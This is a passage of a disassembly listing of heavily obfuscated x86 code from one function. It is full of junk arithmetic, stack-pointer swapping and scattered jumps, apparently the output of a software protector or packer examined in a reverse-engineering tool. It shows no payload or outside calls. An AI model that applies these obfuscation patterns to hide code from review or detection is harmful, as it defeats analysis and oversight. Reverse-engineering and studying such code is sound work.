		jmp	loc_5A0C14
; ---------------------------------------------------------------------------


loc_5AFEA5:				; CODE XREF: sub_58A891+13B0Ej
		add	edx, 5A381992h
		pop	ecx
		xchg	edx, [esp+16h+var_18+2]
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AFEB5:				; CODE XREF: sub_58A891+26872j
		sub	esi, 0AEBC4CD9h
		mov	ebx, esi
		jmp	loc_59CB83
; ---------------------------------------------------------------------------


loc_5AFEC2:				; CODE XREF: sub_58A891+22618j
		push	ebp
		jmp	loc_5A765B
; ---------------------------------------------------------------------------


loc_5AFEC8:				; CODE XREF: sub_58A891+1D0E1j
		mov	eax, 4298117Bh
		and	ebp, eax
		pop	eax
		sub	ebp, 20A1DCCDh
		mov	edx, ebp
		pop	ebp
		jmp	loc_5A9691
; ---------------------------------------------------------------------------


loc_5AFEDE:				; CODE XREF: sub_58A891+1CBA9j
		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		push	0B7Fh
		mov	[esp+0Ah+var_C+2], ecx
		mov	ecx, 35BF731Dh
		mov	edx, ecx
		pop	ecx
		and	edx, 2EB524D2h
		jmp	loc_5B26F5
; ---------------------------------------------------------------------------


loc_5AFEFF:				; CODE XREF: sub_58A891+253EAj
		mov	ebx, 745F6E64h
		mov	edi, 0A96CB92Bh
		add	edi, ebx
		pop	ebx
		mov	ebx, edi
		pop	edi
		or	ebx, 779B6B97h
		xor	ebx, 28933189h
		sub	esi, ebx
		pop	ebx
		add	esi, ebx
		add	esi, 574C5E16h
		mov	ebx, [esp-12h+arg_8+2]
		add	esp, 4
		push	edi
		jmp	loc_5A0A4F
; ---------------------------------------------------------------------------


loc_5AFF32:				; CODE XREF: sub_58A891+272F9j
		push	eax
		jmp	loc_5A257B
; ---------------------------------------------------------------------------


loc_5AFF38:				; CODE XREF: sub_58A891+1E6DAj
		add	edi, 3C5E2E67h
		push	[esp-0Eh+arg_4+2]
		jmp	loc_5AE275
; ---------------------------------------------------------------------------


loc_5AFF46:				; CODE XREF: sub_58A891+1FB25j
		xor	cl, 8
		shl	cl, 4
		shr	cl, 8
		jmp	loc_5A7C36
; ---------------------------------------------------------------------------


loc_5AFF54:				; CODE XREF: sub_58A891+1902Bj
		xor	eax, 3D0A5A11h
		jo	loc_5A4628
		and	eax, 41E83AB2h
		jmp	loc_5A524A
; ---------------------------------------------------------------------------


loc_5AFF69:				; CODE XREF: sub_58A891+227BAj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+7Eh+var_7E]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp+7Eh+var_7E], eax
		push	2CD71FFCh
		mov	eax, [esp+82h+var_82]
		add	esp, 4
		sub	eax, 3A1C8FAh
		push	2204h
		jmp	loc_5AD30D
; ---------------------------------------------------------------------------


loc_5AFFA2:				; CODE XREF: sub_58A891+2324Bj
		not	cl
		add	cl, 31h
		sub	bh, cl
		jmp	loc_5A457A
; ---------------------------------------------------------------------------


loc_5AFFAE:				; CODE XREF: sub_58A891+13522j
		sub	ebx, 5B250FE9h
		add	ebx, 7DE8298Dh
		jmp	loc_5A7A99
; ---------------------------------------------------------------------------


loc_5AFFBF:				; CODE XREF: sub_58A891+25401j
		push	[esp+0Ah+var_8+2]
		mov	ecx, [esp+0Eh+var_10+2]
		jmp	loc_5A331E
; ---------------------------------------------------------------------------


loc_5AFFCB:				; CODE XREF: sub_58A891+15FBEj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AFFD0:				; CODE XREF: sub_58A891+1CD6Aj
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], eax
		sub	[esp+2Eh+var_30+2], 89F712Ah
		pop	ebx
		push	eax
		mov	eax, 89F712Ah
		add	ebx, eax
		pop	eax
		pop	eax
		push	ebx
		mov	ebx, 164E14E8h
		sub	eax, ebx
		pop	ebx
		add	eax, ebx
		add	eax, 164E14E8h
		mov	ebx, [esp+26h+var_28+2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59CF19
; ---------------------------------------------------------------------------


loc_5B000F:				; CODE XREF: sub_58A891+213F7j
		mov	ecx, 62331248h
		shl	ecx, 1
		shr	ecx, 5
		push	ebx
		mov	ebx, 660B63D0h
		sub	ebx, 1BD923B8h
		xor	ebx, 1EFA121Dh
		neg	ebx
		sub	esp, 4
		jmp	loc_5A4B18
; ---------------------------------------------------------------------------


loc_5B0038:				; CODE XREF: sub_58A891+12E95j
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		mov	[esp-0Ah+arg_0+2], edx
		push	esp
		pop	edx
		push	325Eh
		mov	[esp+0], ebx
		jmp	loc_5A08E2
; ---------------------------------------------------------------------------


loc_5B0060:				; CODE XREF: sub_58A891+16A5Cj
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ebp, edx
		jmp	loc_5A40F3
; ---------------------------------------------------------------------------


loc_5B006D:				; CODE XREF: sub_58A891+1ED35j
		pop	edx
		xor	edi, 440D7873h
		add	edi, 14286AB9h
		xchg	ecx, edi
		inc	ecx
		xchg	ecx, edi
		add	edi, 7B66EF7Ah
		add	eax, edi
		pop	edi
		jmp	loc_5ACE77
; ---------------------------------------------------------------------------


loc_5B008D:				; CODE XREF: sub_58A891+15330j
		sub	ebx, 304B5AE4h
		add	ebx, 0BCF365Fh
		sub	ebx, edi
		sub	ebx, 0BCF365Fh
		jmp	loc_5A9884
; ---------------------------------------------------------------------------


loc_5B00A6:				; CODE XREF: sub_58A891+25F2Fj
					; sub_58A891+26BD6j
		add	esp, 4
		jmp	loc_59E34F
; ---------------------------------------------------------------------------


loc_5B00B1:				; CODE XREF: sub_58A891+27A96j
		add	esi, 44797A3Ch
		neg	esi
		jmp	loc_5A3246
; ---------------------------------------------------------------------------


loc_5B00BE:				; CODE XREF: sub_58A891+243C4j
		mov	[esp+4Eh+var_4E], edx
		mov	edx, 6B1E20DAh
		push	ebx
		mov	ebx, 75AD03B9h
		or	edx, ebx
		pop	ebx
		shr	edx, 4
		sub	edx, 2E282CEAh
		push	ecx
		push	edx
		jmp	loc_5A3357
; ---------------------------------------------------------------------------


loc_5B00DF:				; CODE XREF: sub_58A891+164A7j
		pop	dx
		push	ecx
		mov	cl, dh
		mov	bl, cl
		pop	ecx
		jmp	loc_5A31E9
; ---------------------------------------------------------------------------


loc_5B00EC:				; CODE XREF: sub_58A891+18679j
		add	esp, 4
		shl	edx, 1
		jz	loc_5ABC49
		jmp	loc_59D397
; ---------------------------------------------------------------------------


loc_5B00FF:				; CODE XREF: sub_58A891+1BDB2j
		pop	ebx
		sub	ebx, esi
		pop	esi
		jmp	loc_5A7E09
; ---------------------------------------------------------------------------


loc_5B0108:				; CODE XREF: sub_58A891+1FE81j
		xor	eax, [esp+0A4h+var_A6+2]
		mov	esp, [esp+0A4h+var_A6+2]
		mov	[esp+0A4h+var_A6+2], ecx
		sub	esp, 4
		mov	[esp+0A8h+var_AA+2], esp
		add	[esp+0A8h+var_AA+2], 4
		push	[esp+0A8h+var_AA+2]
		pop	ecx
		jmp	loc_59D577
; ---------------------------------------------------------------------------


loc_5B0124:				; CODE XREF: sub_58A891+23EBEj
		sub	esi, 4
		xchg	esi, [esp+0Ah+var_C+2]
		jmp	loc_5A6014
; ---------------------------------------------------------------------------


loc_5B012F:				; CODE XREF: sub_58A891+1E435j
		shl	eax, 8
		push	ebp
		jmp	loc_5ACFD1
; ---------------------------------------------------------------------------


loc_5B0138:				; CODE XREF: sub_58A891+19986j
		push	[esp-0Eh+arg_4+2]
		mov	ecx, [esp-0Ah+arg_0+2]
		add	esp, 4
		jmp	loc_5A61ED
; ---------------------------------------------------------------------------


loc_5B0146:				; CODE XREF: sub_58A891+1DBA6j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp+2Eh+var_30+2]
		xor	[esp+2Eh+var_30+2], ebp
		xor	ebp, [esp+2Eh+var_30+2]
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B0160:				; CODE XREF: sub_58A891+21384j
		push	eax
		jmp	loc_5AE652
; ---------------------------------------------------------------------------


loc_5B0166:				; CODE XREF: sub_58A891+1E9E5j
		mov	[esp+82h+var_82], edi
		mov	edi, 101B3B6Bh
		mov	ecx, 7DDD443h
		add	ecx, 7F104DE1h
		add	ecx, edi
		jmp	loc_59E924
; ---------------------------------------------------------------------------


loc_5B0180:				; CODE XREF: sub_58A891+219B0j
		mov	[esp+7Eh+var_7E], esi
		push	[esp+7Eh+var_7A]
		jmp	loc_5A76E6
; ---------------------------------------------------------------------------


loc_5B018C:				; CODE XREF: sub_58A891+25C1Aj
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+7Eh+var_7E]
		xor	[esp+7Eh+var_7E], ebp
		xor	ebp, [esp+7Eh+var_7E]
		mov	esp, [esp+7Eh+var_7E]
		push	ecx
		push	ebx
		mov	ebx, 4E4C1E00h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5AD871
; ---------------------------------------------------------------------------


loc_5B01AA:				; CODE XREF: sub_58A891+18CB2j
		sub	ah, 9Fh
		jmp	loc_5B15AA
; ---------------------------------------------------------------------------


loc_5B01B2:				; CODE XREF: sub_58A891+1B2D7j
		pop	ebp
		jmp	loc_59CEAE
; ---------------------------------------------------------------------------


loc_5B01B8:				; CODE XREF: sub_58A891+172EDj
		sub	ecx, 21B85C80h
		sub	ecx, 71581632h
		push	edi
		jmp	loc_5A6319
; ---------------------------------------------------------------------------


loc_5B01CA:				; CODE XREF: sub_58A891:loc_5A9536j
		dec	ch
		sub	ch, 0E5h
		jno	loc_5A4B18
		push	bx
		mov	bl, 78h
		jmp	loc_5AB4A8
; ---------------------------------------------------------------------------


loc_5B01DE:				; CODE XREF: sub_58A891+1F713j
		push	eax
		jmp	loc_59F304
; ---------------------------------------------------------------------------


loc_5B01E4:				; CODE XREF: sub_58A891+154B5j
		add	[esp+8Ah+var_8A], 2034160Dh
		jmp	loc_5B1C10
; ---------------------------------------------------------------------------


loc_5B01F0:				; CODE XREF: sub_58A891+1B4EBj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-8+arg_0]
		pop	esp
		mov	[esp-0Ch+arg_4], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5B2F05
; ---------------------------------------------------------------------------


loc_5B0214:				; CODE XREF: sub_58A891+13853j
		add	[esp+92h+var_8E], 3312FAAh
		add	[esp+92h+var_8E], ebx
		sub	[esp+92h+var_8E], 3312FAAh
		sub	[esp+92h+var_8E], 421870B8h
		push	ebx
		mov	ebx, 5CD1622Bh
		sub	[esp+96h+var_8E], ebx
		pop	ebx
		pop	ebx
		jmp	loc_5AC9E5
; ---------------------------------------------------------------------------


loc_5B0241:				; CODE XREF: sub_58A891:loc_59F3CDj
		jmp	loc_5B1EE5
; ---------------------------------------------------------------------------


loc_5B0246:				; CODE XREF: sub_58A891+281ACj
		pop	ebx
		push	51E2h
		mov	[esp+4Eh+var_4E], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4Eh+var_4E]
		pop	esp
		jmp	loc_5A30A5
; ---------------------------------------------------------------------------


loc_5B0266:				; CODE XREF: sub_58A891+26259j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	ebp
		mov	ebp, 3B5140CCh
		shr	ebp, 5
		and	ebp, 74BD296Ch
		jmp	loc_59DA72
; ---------------------------------------------------------------------------


loc_5B0283:				; CODE XREF: sub_58A891+22C00j
		push	eax
		mov	eax, 0D597FA9h
		jmp	loc_5B2AD5
; ---------------------------------------------------------------------------


loc_5B028E:				; CODE XREF: sub_58A891+276A6j
		add	esp, 4
		add	edx, 4
		push	69ABh
		jmp	loc_5AEA2B
; ---------------------------------------------------------------------------


loc_5B02A1:				; CODE XREF: sub_58A891+12D63j
		pop	esi
		sub	ebx, edi
		pop	edi
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5A9B48
		push	ebx
		push	269Bh
		mov	[esp+0], edi
		jmp	loc_59E2E8
; ---------------------------------------------------------------------------


loc_5B02BE:				; CODE XREF: sub_58A891+13F12j
		pop	ebx
		sub	al, bl
		add	al, 83h
		add	al, 74h
		push	edx
		mov	dh, 90h
		add	al, dh
		pop	edx
		jmp	loc_59F39F
; ---------------------------------------------------------------------------


loc_5B02D0:				; CODE XREF: sub_58A891+22C5Ej
		add	esp, 4
		jmp	loc_59D8E9
; ---------------------------------------------------------------------------


loc_5B02D8:				; CODE XREF: sub_58A891+24CD2j
		mov	[esp-26h+arg_1C+2], edx
		mov	dh, 0E2h
		jmp	loc_5B0E59
; ---------------------------------------------------------------------------


loc_5B02E2:				; CODE XREF: sub_58A891+2438Cj
		add	eax, 6F0125D3h
		sub	eax, edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5B279F
; ---------------------------------------------------------------------------


loc_5B02FD:				; CODE XREF: sub_58A891+24349j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A6394
; ---------------------------------------------------------------------------


loc_5B0310:				; CODE XREF: sub_58A891+262B7j
		pop	ebp
		add	esp, 4
		jmp	loc_5A13B7
; ---------------------------------------------------------------------------


loc_5B031C:				; CODE XREF: sub_58A891+1DFB0j
		push	ebp
		mov	ebp, 4A940E15h
		shr	ebp, 2
		neg	ebp
		shr	ebp, 7
		push	ebx
		mov	ebx, 44B477CEh
		add	ebp, ebx
		jmp	loc_5A7EB7
; ---------------------------------------------------------------------------


loc_5B0337:				; CODE XREF: sub_58A891+1CEF6j
		add	esp, 4
		jmp	loc_5A8403
; ---------------------------------------------------------------------------


loc_5B033F:				; CODE XREF: sub_58A891+282DCj
		add	edx, ebx
		pop	ebx
		xor	edx, [esp+0ACh+var_AE+2]
		xor	[esp+0ACh+var_AE+2], edx
		jmp	loc_59F434
; ---------------------------------------------------------------------------


loc_5B034D:				; CODE XREF: sub_58A891+1593Bj
		push	1B97h
		mov	[esp+0], ebx
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	ebx, [esp+0]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		or	eax, eax
		jz	loc_5A3AC4
		push	5080h
		mov	[esp+0], eax
		push	ebx
		push	5D6E0548h
		pop	ebx
		shr	ebx, 1
		jp	loc_5A98E9
		xor	ebx, 63CA69CCh
		jns	loc_5B0B24
		add	ebx, 135A8A8h
		jmp	loc_5A25C0
; ---------------------------------------------------------------------------
		db 89h,	0D2h
; ---------------------------------------------------------------------------
		mov	dh, ch


loc_5B03C0:				; CODE XREF: sub_58A891+1381Bj
		dec	ecx
		or	ecx, 12CD5423h
		sub	ecx, 425F1741h
		xor	ecx, 59700451h
		jmp	loc_5B0C77
; ---------------------------------------------------------------------------


loc_5B03D8:				; CODE XREF: sub_58A891+1CDB5j
		shl	ch, 7
		xor	ch, 89h
		and	dl, ch
		jmp	loc_5AFAAE
; ---------------------------------------------------------------------------


loc_5B03E5:				; CODE XREF: sub_58A891:loc_59C1ACj
					; sub_58A891+22497j
		pop	ebp
		jmp	loc_5B23A1
; ---------------------------------------------------------------------------


loc_5B03EB:				; CODE XREF: sub_58A891+14827j
		add	esi, 0C42D5E72h
		jmp	loc_5AD4BD
; ---------------------------------------------------------------------------


loc_5B03F6:				; CODE XREF: sub_58A891+16B6Aj
		push	esp
		jmp	loc_59CF3E
; ---------------------------------------------------------------------------


loc_5B03FC:				; CODE XREF: sub_58A891+1C1C8j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8Ah+var_8A]
		pop	esp
		push	edi
		push	515Dh
		jmp	loc_5A0509
; ---------------------------------------------------------------------------


loc_5B0414:				; CODE XREF: sub_58A891+22959j
		mov	esi, [esp+0]
		jmp	loc_59D41F
; ---------------------------------------------------------------------------


loc_5B041C:				; CODE XREF: sub_58A891+1640Dj
		push	[esp+26h+var_28+2]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_5ABB78
; ---------------------------------------------------------------------------


loc_5B0433:				; CODE XREF: sub_58A891+1D781j
		mov	esp, [esp+3Ah+var_3C+2]
		xor	dh, bh
		jmp	loc_5AE6EA
; ---------------------------------------------------------------------------


loc_5B043D:				; CODE XREF: sub_58A891+279BAj
		add	ebx, 5401E2Ah
		sub	ebx, edi
		sub	ebx, 5401E2Ah
		pop	edi


loc_5B044C:				; CODE XREF: sub_58A891+1C685j
		push	97Dh
		jmp	loc_5A4C70
; ---------------------------------------------------------------------------


loc_5B0456:				; CODE XREF: sub_58A891+27602j
		push	13282148h
		jmp	loc_5B224A
; ---------------------------------------------------------------------------


loc_5B0460:				; CODE XREF: sub_58A891+12667j
		neg	edi
		sub	edi, 9DC899E7h
		add	ebp, 7C6752A8h
		add	ebp, edi
		sub	ebp, 7C6752A8h
		mov	edi, [esp+86h+var_86]
		jmp	loc_5AE27B
; ---------------------------------------------------------------------------


loc_5B047E:				; CODE XREF: sub_58A891+17E03j
		pop	ebp
		add	ebp, 4
		jmp	loc_59C17B
; ---------------------------------------------------------------------------


loc_5B048A:				; CODE XREF: sub_58A891+1F355j
		mov	eax, 0
		add	eax, 5D6F1258h
		add	eax, ebx
		jmp	loc_5AF97B
; ---------------------------------------------------------------------------


loc_5B049B:				; CODE XREF: sub_58A891+2422Bj
		mov	eax, 53F97DEDh
		jmp	loc_5A37BC
; ---------------------------------------------------------------------------


loc_5B04A5:				; CODE XREF: sub_58A891+1CF68j
		sub	edx, 174B0E3Ch
		jmp	loc_5B018C
; ---------------------------------------------------------------------------


loc_5B04B0:				; CODE XREF: sub_58A891+25606j
		xchg	ecx, [esp+0]
		pop	esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 239712B4h
		inc	edi
		add	edi, 0DC68ED4Fh
		add	ebp, 675100FAh
		jmp	loc_5A9992
; ---------------------------------------------------------------------------


loc_5B04DA:				; CODE XREF: sub_58A891+23A28j
		shr	esi, 1
		jmp	loc_59F5B6
; ---------------------------------------------------------------------------


loc_5B04E1:				; CODE XREF: sub_58A891+21FC4j
		mov	[esp+0B6h+var_B6], ebp
		push	ecx
		mov	ecx, 18815EA2h
		mov	ebp, 18815EA6h
		jmp	loc_5B24BA
; ---------------------------------------------------------------------------


loc_5B04F4:				; CODE XREF: sub_58A891+1BFE2j
		sub	esp, 4
		jmp	loc_5A6945
; ---------------------------------------------------------------------------


loc_5B04FC:				; CODE XREF: sub_58A891+181A0j
		push	esi
		push	5BEA3046h
		pop	esi
		jmp	loc_5B0513
; ---------------------------------------------------------------------------


loc_5B0508:				; CODE XREF: sub_58A891+1F376j
		push	67D508C3h
		pop	esi
		jmp	loc_5AECEE
; ---------------------------------------------------------------------------


loc_5B0513:				; CODE XREF: sub_58A891+25C72j
		dec	esi
		add	esi, 0A415CFBFh
		mov	edi, esi
		pop	esi
		sub	esi, edi
		jmp	loc_59D300
; ---------------------------------------------------------------------------


loc_5B0524:				; CODE XREF: sub_58A891+2693Aj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_5A9CB8
; ---------------------------------------------------------------------------


loc_5B0531:				; CODE XREF: sub_58A891:loc_5A0E54j
					; sub_58A891+1DA77j
		pop	bx
		add	ah, bh
		sub	ah, 0BFh
		mov	ebx, [esp+30h+var_30]
		add	esp, 4
		push	cx
		mov	ch, 79h
		not	ch
		inc	ch
		jle	loc_59EAB1
		add	ch, 9Ah
		jb	loc_5A7A2A
		mov	bl, ah


loc_5B055A:				; CODE XREF: sub_58A891+1A2C0j
		add	edx, 7E1650EDh
		push	ebp
		mov	ebp, 48EA1856h
		sub	edx, 3B656366h
		add	edx, ebp
		add	edx, 3B656366h
		jmp	loc_5A3309
; ---------------------------------------------------------------------------


loc_5B0579:				; CODE XREF: sub_58A891+27C95j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+32h+var_34+2]
		pop	esp
		mov	[esp+2Eh+var_30+2], esi
		push	57864035h
		mov	esi, [esp+32h+var_34+2]
		push	edi
		jmp	loc_59D86F
; ---------------------------------------------------------------------------


loc_5B0599:				; CODE XREF: sub_58A891+11BB1j
		pop	ecx
		add	esp, 4
		add	[esp-1Ah+arg_18+2], ebp
		mov	ebp, [esp+0]
		add	esp, 4
		mov	edi, [esp-1Eh+arg_18+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		push	eax
		jmp	loc_5A8017
; ---------------------------------------------------------------------------


loc_5B05BF:				; CODE XREF: sub_58A891+14FC9j
		pop	esp
		sub	esp, 4
		mov	[esp+22h+var_24+2], ecx
		push	ebx
		push	ecx
		push	53F81946h
		jmp	loc_5A218D
; ---------------------------------------------------------------------------


loc_5B05D2:				; CODE XREF: sub_58A891+1AAF1j
		pop	bp
		add	di, 4155h
		sub	di, 5464h
		add	ax, 78B9h
		sub	ax, di
		sub	ax, 78B9h
		pop	edi
		jmp	loc_59CAF3
; ---------------------------------------------------------------------------


loc_5B05EF:				; CODE XREF: sub_58A891+18C59j
		mov	al, 76h
		and	al, 55h
		jb	loc_5AB31E
		xor	al, 2Ch
		jo	loc_5ADFCE
		inc	al
		jge	loc_59DB31
		push	ecx
		mov	ch, 0DEh
		jmp	loc_5A19E9
; ---------------------------------------------------------------------------
		push	ebx
		mov	bl, 0B2h
		mov	al, al


loc_5B0616:				; CODE XREF: sub_58A891+2834Fj
		add	esp, 4
		push	[esp+6+var_8+2]
		jmp	loc_5B1364
; ---------------------------------------------------------------------------


loc_5B0624:				; CODE XREF: sub_58A891+165E2j
		push	eax
		mov	eax, 0E76D2504h
		xor	esi, eax
		jmp	loc_5B164F
; ---------------------------------------------------------------------------


loc_5B0631:				; CODE XREF: sub_58A891+1DCBDj
		shl	edx, 4
		jmp	loc_5A370F
; ---------------------------------------------------------------------------


loc_5B0639:				; CODE XREF: sub_58A891+1969Bj
					; sub_58A891+24B16j
		sub	ecx, edi
		jmp	loc_5A84D0
; ---------------------------------------------------------------------------


loc_5B0640:				; CODE XREF: sub_58A891+17B61j
					; sub_58A891+18F47j
		and	eax, ecx
		push	[esp+0A8h+var_AA+2]
		pop	ecx
		add	esp, 4
		or	edx, eax
		jmp	loc_5A8EF6
; ---------------------------------------------------------------------------


loc_5B0650:				; CODE XREF: sub_58A891+1DD93j
		mov	edx, 292D7239h
		add	ebp, 75347D9Eh
		sub	ebp, edx
		sub	ebp, 75347D9Eh
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		pop	edx
		push	ebp
		jmp	loc_5A5BBA
; ---------------------------------------------------------------------------


loc_5B0673:				; CODE XREF: sub_58A891+1FC66j
					; sub_58A891+22266j
		push	ebp
		jmp	loc_59E211
; ---------------------------------------------------------------------------


loc_5B0679:				; CODE XREF: sub_58A891:loc_5A0FE9j
		xor	esi, 7B423916h
		jg	loc_5A6F60
		sub	esi, 3014F92h
		jmp	loc_5B2F49
; ---------------------------------------------------------------------------


loc_5B0690:				; CODE XREF: sub_58A891+1F412j
		mov	ecx, 22D222A8h
		jmp	loc_5AF576
; ---------------------------------------------------------------------------


loc_5B069A:				; CODE XREF: sub_58A891+1B46Fj
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		push	edx
		jmp	loc_5A40E1
; ---------------------------------------------------------------------------


loc_5B06A8:				; CODE XREF: sub_58A891+1CCD1j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp-12h+arg_8+2]
		add	esp, 4
		pop	[esp-16h+arg_E]
		mov	esp, [esp+0]
		mov	[esp+0], ebp
		push	5A0Bh
		mov	[esp-16h+arg_E], ecx
		push	[esp-16h+arg_E]
		mov	ebp, [esp-12h+arg_8+2]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-12h+arg_8+2]
		jmp	loc_5A8CD9
; ---------------------------------------------------------------------------


loc_5B06EA:				; CODE XREF: sub_58A891+20B2Cj
					; sub_58A891+2262Dj
		mov	[esp+92h+var_92], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp+92h+var_92]
		add	esp, 4
		xchg	ebp, [esp+8Eh+var_8E]
		mov	esp, [esp+8Eh+var_8E]
		jmp	loc_5A501F
; ---------------------------------------------------------------------------


loc_5B0708:				; CODE XREF: sub_58A891+1EE04j
		xor	edx, 386570B2h
		jmp	loc_5AF208
; ---------------------------------------------------------------------------


loc_5B0713:				; CODE XREF: sub_58A891+2603Dj
		mov	ebx, 64396A7Ch
		jmp	loc_5ADD08
; ---------------------------------------------------------------------------


loc_5B071D:				; CODE XREF: sub_58A891+1D69Cj
		add	esi, 1EA832F1h
		add	esi, ecx
		sub	esi, 1EA832F1h
		mov	ecx, [esp+8Eh+var_8E]
		push	28E1h
		mov	[esp+92h+var_92], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5AFC66
; ---------------------------------------------------------------------------


loc_5B0749:				; CODE XREF: sub_58A891+1E7E0j
		or	esi, 33564D08h
		jo	loc_5A7764
		sub	esp, 4
		mov	[esp+86h+var_86], ebx
		mov	ebx, 3915741Bh
		push	9CBh
		mov	[esp+8Ah+var_8A], ebx
		not	[esp+8Ah+var_8A]
		pop	ebx
		jmp	loc_5A6221
; ---------------------------------------------------------------------------


loc_5B0774:				; CODE XREF: sub_58A891+1298Bj
		pop	esp
		or	[edi+1Ch], ebx
		pop	ebx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B077E:				; CODE XREF: sub_58A891+1EE23j
		neg	esi
		xchg	esi, ecx
		jmp	loc_59D18F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+92h+var_92]
		push	ebp
		sub	esp, 4
		push	esp
		pop	[esp+9Eh+var_9E]
		add	[esp+9Ah+var_9A], 4
		pop	ebp
		push	esi
		mov	esi, 731F09F4h
		sub	esp, 4
		jmp	loc_5A45C2
; ---------------------------------------------------------------------------


loc_5B07A9:				; CODE XREF: sub_58A891+1F166j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8Eh+var_8E]
		jmp	loc_5AFD50
; ---------------------------------------------------------------------------


loc_5B07BD:				; CODE XREF: sub_58A891:loc_5A0E10j
		shl	edi, 4
		jnp	loc_5B00A6
		inc	edi
		jge	loc_59F3CD
		jmp	loc_5A7D33
; ---------------------------------------------------------------------------
		mov	[esp+30h+var_30], edx
		mov	cl, ah
		pop	esp


loc_5B07D8:				; CODE XREF: sub_58A891+1BD73j
		xor	ecx, 4D04671Bh
		jmp	loc_5A5A04
; ---------------------------------------------------------------------------


loc_5B07E3:				; CODE XREF: sub_58A891+2721Dj
		add	ecx, 4
		jmp	loc_5A7D01
; ---------------------------------------------------------------------------


loc_5B07EE:				; CODE XREF: sub_58A891+11791j
					; sub_58A891+172BDj ...
		add	eax, 3FBB157Eh
		sub	eax, edx
		sub	eax, 3FBB157Eh
		pop	edx
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edx
		mov	edx, 154A42F8h
		sub	edx, 464D2A61h
		shr	edx, 6
		sub	edx, 9523D108h
		add	ebx, edx
		mov	edx, [esp+0Eh+var_10+2]
		push	eax
		jmp	loc_5A319C
; ---------------------------------------------------------------------------


loc_5B0820:				; CODE XREF: sub_58A891+1F3C8j
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_5A6292
; ---------------------------------------------------------------------------


loc_5B0836:				; CODE XREF: sub_58A891+211CEj
		mov	[esp+84h+var_86+2], esp
		add	[esp+84h+var_86+2], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		jmp	loc_5A039A
; ---------------------------------------------------------------------------


loc_5B084E:				; CODE XREF: sub_58A891+28035j
		push	[esp+84h+var_82+2]
		mov	esi, [esp+88h+var_8A+2]
		push	eax
		jmp	loc_59F365
; ---------------------------------------------------------------------------


loc_5B085B:				; CODE XREF: sub_58A891+1404Bj
					; sub_58A891+15608j
		sub	esp, 4
		mov	[esp+90h+var_92+2], edx
		jmp	loc_59D515
; ---------------------------------------------------------------------------


loc_5B0869:				; CODE XREF: sub_58A891+1B95Fj
		add	esp, 4
		push	919h
		mov	[esp+80h+var_82+2], edx
		sub	esp, 4
		mov	[esp+84h+var_86+2], ecx
		mov	cl, 7Fh
		push	ebx
		mov	ebx, esp
		push	6CE8h
		mov	[esp+8Ch+var_8E+2], esi
		jmp	loc_5A054A
; ---------------------------------------------------------------------------


loc_5B088C:				; CODE XREF: sub_58A891+190D2j
		add	dword ptr [esp+4], 715E0F80h
		add	dword ptr [esp+4], 35AC6FD8h
		jmp	loc_59CCDF
; ---------------------------------------------------------------------------


loc_5B08A1:				; CODE XREF: sub_58A891+22966j
					; sub_58A891+2741Bj
		xor	ebx, edx
		pop	edx
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+80h+var_82+2]
		mov	esp, [esp+80h+var_82+2]
		shl	[esp+80h+var_82+2], cl
		pushf
		jmp	loc_5A796C
; ---------------------------------------------------------------------------


loc_5B08B6:				; CODE XREF: sub_58A891+24C74j
		mov	[esp+90h+var_92+2], eax
		mov	eax, 159C5C6Bh
		jmp	loc_5AF21D
; ---------------------------------------------------------------------------


loc_5B08C3:				; CODE XREF: sub_58A891+1D3EAj
		add	esp, 4
		sub	ecx, edx
		pop	edx
		push	esi
		push	ebx
		jmp	loc_5B0713
